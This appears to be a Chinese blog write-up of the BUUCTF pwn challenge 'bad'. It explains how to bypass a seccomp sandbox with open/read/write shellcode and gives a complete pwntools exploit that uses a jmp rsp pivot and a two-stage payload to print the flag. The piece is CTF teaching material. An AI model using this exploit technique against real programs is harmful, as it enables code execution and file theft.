BUUCTF之Sandbox-bad

[BUUCTF-pwn]——pwnable_orw 记一次ORW的题目 orw就是指你的系统调用被禁止了,不能通过子进程去获得权限和flag,只能在该进程通过 open , read ,write来得到flag 32位程序,开启了canary 调用orw_seccomp函数后,输入shellcode后执行shellcode 写入sys_call的shellcode,发现不能执行 orw_seccomp函数 seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandbox 阅读详情

BUUCTF之Sandbox-bad

首先针对sandbox,我们需要有一个大概的认知,他是在一个代码执行环境下,脱离种种过滤和限制,最终成功拿到shell权限的过程,通常我们采用orw的方式来获取flag.orw全称only read write,只使用read write函数将flag读取并且打印,shellcode分为三个步骤

  1. 使用open函数打开flag
  2. 使用read函数将flag读到buf
  3. 使用write函数将buf中的值输出

简化为三句伪代码如下,主要需要将这三句C语言变成汇编代码

fd = open(``"./flag"``, O_RDONLY);``read(fd, buf, 0x100)``write(1, buf, 0x100)

对于函数的限制,只要通过两种方式来实现,第一种是采用prctl函数调用,第二种是使用seccomp库函数。对于这类限制,我们可以使用seccomp-tools轻松发现他禁用的一些函数,由于他设置了这些黑名单,所以我们一下就可以发现这是一类sandbox的题型了。

32-bits

32-bits下的系统调用号

三个函数的系统调用编号

系统调用号函数名入口点
3readsys_read
4writesys_write
5opensys_open
shellcode编写

32位系统调用汇编寄存器传递参数顺序依次是ebx, ecx, edx, esi;eax用于存放系统调用号

;32-bit shellcode
; open flag file
mov eax, 5 
mov ebx, filepath
mov ecx, 0
int 80h
; read flag
mov ebx, eax
mov eax, 3
mov ecx, buf
mov edx, 100h
int 80h  //相当于64位的syscall
; write flag
mov eax, 4
mov ebx, 1
mov ecx, buf
mov edx, 100h
int 80h
ret

64-bits

64-bits下的系统调用号
%raxSystem call%rdi%rsi%rdx%r10%r8%r9
0sys_readunsigned int fdchar *bufsize_t count
1sys_writeunsigned int fdconst char *bufsize_t count
2sys_openconst char *filenameint flagsint mode
3sys_closeunsigned int fd
shellcode编写

64位shellcode汇编代码和32位的思路一样,不同点在于64位系统调用向寄存器传递的参数不同,且64位shellcode建议使用syscall,而不使用int 80中断

64位系统调用汇编寄存器传递参数顺序:rdi,rsi,rdx,r10,r8,r9。最多只能有6个参数,如果参数多于6个不会像用户态一样放到堆栈中,这个是内核接口调用约定和用户接口调用约定有区别

;64-bit shellcode
;open
mov rdi, filepath;
push rdi;
mov rax, 2;
mov rsi, 0;  //xor rsi,rsi;
mov rdx, 0; //同理
syscall;
; read
mov rdi 0x3;
mov rax, 0;
mov rsi, buf;buf可以修改成rsp,直接将flag读到栈中
mov rdx, 0x100;
syscall;
;write
mov rax, 1;
mov rdi, 1;
mov rsi, buf;
mov rdx, 0x100;
syscall;

这就是沙箱的大体流程了, 更加具体的我们下面用buu的bad这个题型作为示例


首先我们发现这题使用了seccomp对函数进行了限制,请添加图片描述

接着我们用seccomp-tools看一下函数的

请添加图片描述

然后再检查一下文件,发现什么保护机制都没有。

请添加图片描述

那么接下来的步骤就很明显了,通过read函数写入一个orw,但是很可惜,通过观察,我们发现这题的buf长度不支持我们写一个完整的orw,所以我们需要另外找一个地址来写入,

请添加图片描述

通过调试,我们发现一个可读写执行的地址0x123000,那么接下来我们要做的就是如何让rsp跳转到那里了,本来我想的是用栈迁移来解决,但是我发现本题还给了jump rsp,那么我们就可以用这个来做文章了

请添加图片描述

有了具体目标,我们就先可以把shellcode写下来了

shell='''
	     mov rdi,0x67616c662f2e;   //0x67616c662f2e的意思是galf/. 在小序端的读取下就是./flag
	     push rdi;
	     mov rax,2;
	     mov rdi,rsp;
	     xor rsi,rsi;
	     xor rdx,rdx;
	     syscall;
	     mov rax,0;
	     mov rdi,0x3;
	     mov rsi,0x123000;
	     mov rdx,0x50;
	     syscall;
	     mov rax,1;
	     mov rdi,1;
	     mov rsi,0x123000;
	     mov rdx,0x50;
	     syscall;
'''

而在pwntools中,我们也可以使用shellcraft模板让其为我们编写汇编

orw_payload = shellcraft.open("./flag")
orw_payload += shellcraft.read(3, mmap+0x100, 0x50)
orw_payload += shellcraft.write(1, mmap+0x100,0x50)

所以之后我们需要做的就是如何让rsp跳转到0x12300这个位置了,而这就要用到我们的read函数了,我们通过read在0x12300上读取一百个字节大小的空间,然后让rsp跳转到0x12300的位置

shellcode='''
     xor rdi, rdi
     mov rsi, 0x123000
     mov rdx, 0x100
     mov rax, 0
     syscall
     mov rax, 0x123000
     call rax
 '''
 payload=asm(shellcode)
 payload=payload.ljust(0x28,b'\x00')
 payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')

相同的,在这里我们同样可以使用shellcraft

payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,b'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')

最后的rsp减去0x30的原因是为了让新rsp在运行了前面的代码后重新到0x12300这个位置,这样才正确的执行我构造orw的shellcode

最后附上我们完整的代码

from pwn import *

context(arch = 'amd64',os = 'linux',log_level='debug')
#io=remote('node5.buuoj.cn',26885)
io=process('./bad')
addr=0x123000
jmp_rsp=0x400a01
mmap=0x123000

shell='''
	    
	     mov rdi,0x67616c662f2e;
	     push rdi;
	     mov rax,2;
	     mov rdi,rsp;
	     xor rsi,rsi;
	     xor rdx,rdx;
	     syscall;
	     mov rax,0;
	     mov rdi,0x3;
	     mov rsi,0x123000;
	     mov rdx,0x50;
	     syscall;
	     mov rax,1;
	     mov rdi,1;
	     mov rsi,0x123000;
	     mov rdx,0x50;
	     syscall;
'''
//orw_payload = shellcraft.open("./flag")
//orw_payload += shellcraft.read(3, mmap+0x100, 0x50)
//orw_payload += shellcraft.write(1, mmap+0x100,0x50)
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,b'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
gdb.attach(io)
io.recvuntil("Easy shellcode, have fun!")
io.sendline(payload)
payload1=asm(shell)
io.sendline(payload1)
io.interactive()

请添加图片描述

如图,第一个方框就是orw的shellcode,第二个方框就是我们对mmap空间的开创,并且我们将ROP写到mmap提供的栈的内存上,之后利用jmp_rsp跳转到orw_shellcode的地方。

Claude Code与Codex深度对比:终端AI编程助手选型指南 大语言模型驱动的AI编程助手已成为开发者提效的重要工具,它们基于自然语言交互,自动完成代码生成、重构和调试。这类工具依赖上下文理解与工程实践,不同产品在交互模式、模型接入和任务执行上差异显著。从终端CLI编程场景出发,梳理AI编程助手的设计原理与技术价值,重点对比Anthropic Claude Code与OpenAI Codex在安装配置、上下文管理、第三方模型接入(如DeepSeek)以及高频报错处理上的实际表现。无论你是新手还是资深工程师,理解这些差异有助于根据自身工作流选择合适工具,或在两者间灵活切 阅读详情

相关推荐

Wireshark实战解析IEC 61850 GOOSE报文:智能变电站通信调试指南

网络协议分析是理解现代工业通信系统的基础,其核心原理在于对数据包的捕获、解码与解析。在电力自动化领域,IEC 61850标准定义了智能变电站内设备间高效、可靠的通信框架,其中GOOSE(通用面向对象变电站事件)协议因其基于以太网多播和快速重传机制,成为保护跳闸、联锁等关键信号传输的基石,其技术价值在于实现了微秒级延迟的高可靠性通信。掌握GOOSE报文的分析能力,对于现场调试、故障定位及系统验证至关重要。本文聚焦于使用Wireshark这一网络分析工具,深入解析GOOSE报文结构,涵盖从以太网帧头、协议标识到

weixin_34401479的博客 376

渗透学习-CTF篇-web-ctfhub

随着学习的不断深入,为了防止自己忘记之前所学的内容,于是我决定再不断的向下学习的同时做一些ctf的题来唤醒自己的记忆!!

qq_43696276的博客 2084

字符集的选择

字符集的选择 一:背景介绍 DICOM特定字符集(0008,0005) 此标签获得不同的值就代表使用不同的语言进行解码。 以下为多家CT厂商的(0008,0005)取值: 字符集: unicode是字符集,ASCII、GB2312、GBK、GB18030既是字符集也是编码方式,UTF-8只是编码方式。 二:中文字符集介绍 世界通用字符集——UTF 中文字符集——GB2312、GBK、GB18030 字符集的详细介绍 一:UTF-8 程序是把一个字节一个字节的来读取,然后再根据字节中开头的bit

qq_41972968的博客 1520

nepctf2023 部分web复现

我们需要写一个plugin进去,但是不能直接写进去,因为plugin目录没权限写但是由于当前我们有root权限的数据库用户,我们可以使用select into dumpfile的形式写入:当以 root 用户身份执行 SELECT INTO DUMPFILE 查询时,它将绕过文件权限检查,并允许将查询结果写入任何有效的文件路径中,即使该路径对 mysql 用户是无法写入的。请注意,使用 root 用户执行此操作需要格外小心,因为它会绕过一些安全限制。

weixin_63231007的博客 1636

Arduino Nano + MCP3422A0 ADC 毫欧表:3档分辨率(0.1mΩ-1.3kΩ)开尔文连接实测

本文详细介绍了如何使用Arduino Nano与MCP3422A0 ADC构建高精度毫欧表,采用四线制开尔文连接和三档量程设计,实现0.1mΩ-1.3kΩ的精确测量。通过精密恒流源和18位ADC技术,结合智能量程切换和数字滤波算法,显著提升测量精度和稳定性,适用于电子维修、PCB测试等场景。

weixin_28292761的博客 325

AF3​​​​​​​ Msa、TemplateHit、HitMetadata类解读

Msa:处理 多序列比对 (MSA) 结果,为 AlphaFold3 提供 序列进化信息。 TemplateHit:存储 查询序列与模板结构的比对信息,用于 筛选模板。 HitMetadata:提供 比对模板的 PDB 结构信息,帮助 解析和使用模板数据。

qq_27390023的博客 818

一天一道ctf 第54天(GET open任意执行漏洞)

[HITCON 2017]SSRFme <?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $_SERVER['REMOTE_ADDR'] = $http_x_headers[0]; } echo $_SERVER["REMOTE_ADDR"]; $s

scrawman的博客 485

Oracle EBS R12 AR 标准发票 核心表结构

​ Oracle EBS R12 AR 标准发票 核心表结构 聚焦手动标准发票 (Standard Invoice),按头→行→分配→税→收款计划→会计分录→历史分层,标注主键、外键、关键字段、业务含义,同时说明表间关联关系,适配开发 / 运维 / 数据核对场景。 一、主数据层(发票头 + 行,核心业务表) 1. RA_CUSTOMER_TRX_ALL 【发票头表】 作用:存储整张发票头部信息,一张发票对应一条记录,AR 发票主表。 主键:CUSTOMER_TRX_ID (唯一 ID,系统内部键) 业

金牌架构师 282

pwn学习笔记(8)--初识Pwn沙箱

​ 沙箱机制,英文sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。​ 安全计算模式seccomp(Secure Computing Mode)在Linux2.6.10之后引入到kernel的特性,可用其实现一个沙箱环境。使用seccomp模式可以定义系统调用白名单和黑名单。seccomp机制用于限制应用程序可以使用的系统调用,增加系统的安全性。​ 在ctf中主要通过两种方

qq_66013948的博客 1963

低功耗边缘设备部署指南:YOLO26 INT8量化与TensorRT加速全流程

将YOLO26 INT8部署到低功耗边缘设备,核心原则是“校准为王、敏感层精准回退、端到端验证”。校准集≥500张,来自真实推理场景,未经训练增强校准集预处理与推理pipeline逐行对齐trtexec命令必带--fp16作为fallback量化后用polygraphy定位敏感层,而非盲猜仅回退必要层(通常2-3个),保留INT8收益在真实部署场景测试集上验证mAP,不以COCO为准C++部署使用异步推理+双缓冲nsys profiling确认无传输瓶颈。

专注于Python爬虫开发,分享爬虫技巧、项目实战与反爬经验,使用Scrapy、BeautifulSoup等工具,解决数据抓取难题。 213

【FastDDS】Layer DDS之Subscriber ( 09-Accessing received data)

Fast DDS提供了多种接收数据访问方式:通过读取(read)或提取(take)操作获取数据,其中提取会移除数据而读取保留数据。应用程序可通过序列高效借用接收队列内存,但需及时归还。数据处理时需检查SampleInfo的有效性,可通过监听器回调或等待集机制异步获取数据。等待集允许线程专门等待新数据到达,通过条件触发和超时控制实现可靠的数据接收处理。

Ray Home 863

CTF-PWN-沙箱逃脱-【seccomp和prtcl-1】

code为0x20是BDF_LD(0x00)|BDF_ABS(0X20)|BOF_W的结果,就是将一个字的值通过固定偏移量复制到累加器中,此时k对应为偏移量4,即seccomp_data偏移量为4的位置正好是arch的结构。此时code 15是BPF_JMP(0x05)|BPF_JEQ(0x10)的结果,此时是相等跳转指令,相等则跳转到下一条指令,不相等则跳转到下条指令+0x19的位置,将累加器与k的值做对比,此时累加器的值是之前取的arch。,但每个头文件的这个“标识”都应该是唯一的。

llovewuzhengzi的博客 1824

苹果生态最佳搭档:Mac mini + OpenClaw + iPhone 远程控制

本文详细介绍如何通过iPhone远程控制Mac mini上的OpenClaw应用,打造高效苹果生态工作流。内容包括:1) 苹果生态整合优势,包括AirDrop、Handoff等功能对比;2) Mac mini配置步骤,涵盖SSH/VNC设置、网络优化及Docker部署OpenClaw;3) iPhone端SSH/VNC客户端选择与Tailscale内网穿透配置;4) 详细SSH密钥设置与连接测试方法。通过这套方案,用户可实现跨设备无缝控制OpenClaw应用,提升远程工作效率。(149字)

一键难忘的博客 793

BUUCTF Web 第二页

BUUCTF Web 第二页

102 1205

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

BUUCTF-WEB详细解题攻略第二页(按解出数降序排序)

BUUCTF-WEB题解索引,按解出数排序。每题附详细Payload与思路,适合CTF刷题题备查。

2503_94637398的博客 745

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

buuctf刷题 4(php&Rce&escapeshellarg cmd组合漏洞)

[MRCTF2020]Ez_bypass 1 I put something in F12 for you include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; if(isset($_GET['gg'])&&isset($_GET['id'])) { $id=$_GET['id']; $gg=$_GET['gg']; if (md5($id) === md5($gg) &&

weixin_63231007的博客 1781

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

PolarCTF春季个人挑战赛 2024 WEB

又是反序列化的题目,入口应该是Polar类中的__wakeup()魔术方法,反序列化过程中如果没有改变O的个数该方法会被优先调用,同时该方法中调用了一个不存在的方法hacker(),由此就会触发Night类中的__call类魔术方法,同时该方法中的echo语句又可实现将类当成字符串调用,以此触发__toString()魔术方法,由于该方法中将flag替换成了空,我们可以尝试使用双写绕过,具体POC如下。方法,形成变量覆盖,具体的poc如下。好好好,又是折腾半天没弄出来的,摆了,日后再补上。

konpure的博客 2169

ctf php沙箱,从一个CTF题目学习Python沙箱逃逸

作为一个CTF爱好者,又是一个Bin选手,在国外各种受虐的同时,总是能学到不少的东西。最近,和师傅们在做国外的CTF题,做到一种Pwn题目,是需要选手在Python的沙箱达到逃逸的目的,获取flag。在谷歌的过程中,找到了一篇不错的博文。正文注意:这是为Python 2.7.3编写的。这些细节可能在其他版本的Python - 特别是Python3 - 有所不同!尝试逃离沙箱总是一个有趣的挑战。Py...

weixin_33225892的博客 825

BUUCTF-PWN-pwnable_asm-Sandbox

检查允许的系统调用orw是允许的,用open()打开flag文件,通过read()和write()读取并输出。

Rt1Text的博客 501

我让混元 hy3 在 Cube Sandbox 里独立解了 5 道 CTF 逆向题——一次没有人类提示的全自动通关

这篇文章展示了如何让腾讯混元 hy3 模型在 Cube Sandbox 隔离环境中独立解决 5 道难度递增的 CTF 逆向题,全程无人工干预。通过精心设计的 ReAct 循环架构(1 Agent × 5 Sandbox × 4 工具),模型成功实现了从凯撒密码到时序侧信道的全自动通关。重点分析了两道典型题目:pyc 反汇编题中模型通过反编译约束条件并最终采用暴力搜索求解;时序侧信道题则必须通过真实采样 600 微秒级时间差才能破解,凸显了沙箱环境对于必须真实运行代码的 CTF 题目的关键价值。实验结果表明,

博客 1万+

[ctf.show pwn] 新手杯,七夕杯

ctf.show pwn 新手杯 七夕杯

weixin_52640415的博客 799

CTF-PWN-沙箱逃脱-【seccomp和prtcl-2】

ret的gadget的地址。直到通过该得到的栈地址-231*8可得到数组的起始地址,然后输入open的第一个参数在此位置即./flag,注意此时由于函数此时是整数输入,输入的字节会逆序排放到内存中,而调用open时是字符串参数,会从低地址到高地址一个一个转换,所以此时我们需要逆序输入./flag的字节即按galf/.字节输入。接下来就构造ROP链即可,首先是open(数组的初始地址,0,2) rax=2,此时构造的rdx不会对函数有影响,只是使得第二个参数和rax的值一样得以成功调用系统调用。

llovewuzhengzi的博客 2123

[BUUCTF]PWN——[V&N2020 公开赛]warmup

[V&N2020 公开赛]warmup 步骤: 例行检查,64位程序,除了canary,其他保护都开 本地运行一下,看看大概的情况 64位ida载入,从main函数开始看程序 看到程序将puts函数的地址泄露给了我们 sub_84D()函数里面是prctl函数的沙箱机制 可以利用seccomp-tools工具来查看一下限制了哪些函数 禁止了execve和fork syscall, 关于seccomp-tools工具的安装和使用看这篇文章,关于prctl函数可以看一下这篇文章

mcmuyanga的博客 656

BUUCTF [极客大挑战 2019]Not Bad

我们直接open根目录下的flag,然后把flag的内容读入到mmap中,再用write打印处mmap的值,这里解释一下为什么fd为3,因为我们是打开文件进行读入,0,1,2分别是标准输出,标准输入,标准错误,所以3之后才是打开文件的顺序,所以我们写上3.以下是完整的exp。在main看到这两个比较有用的函数,第一个函数一眼看过去就发现是有沙箱保护的,第二个函数就是正常的栈溢出函数,我们先看看程序开了什么保护。也是第一次做到沙箱的题,也熟练了一点orw的攻击方式。拿到题目放入ida,看看有什么函数。

2401_85052854的博客 609

【Web】记录Polar靶场<简单>难度题一遍过(全)

明天XYCTF开始,今天干啥也不是,过过签到八股吧。

uuzeray的博客 6821

【CTF】paradigm-CTF babysandbox

找Ver👴想复现下qwb final的区块链。Ver👴给我发了这个比赛下面的一道题,发现这个比赛里面有很多高质量的智能合约题。从这里开始写一些不错的题目。

A_991128a的博客 363
上一篇: 渗透测试作业3
下一篇: Python脚本检测笑脸漏洞
T_Fire_of_Square
博客等级 码龄3年 110粉丝 29原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值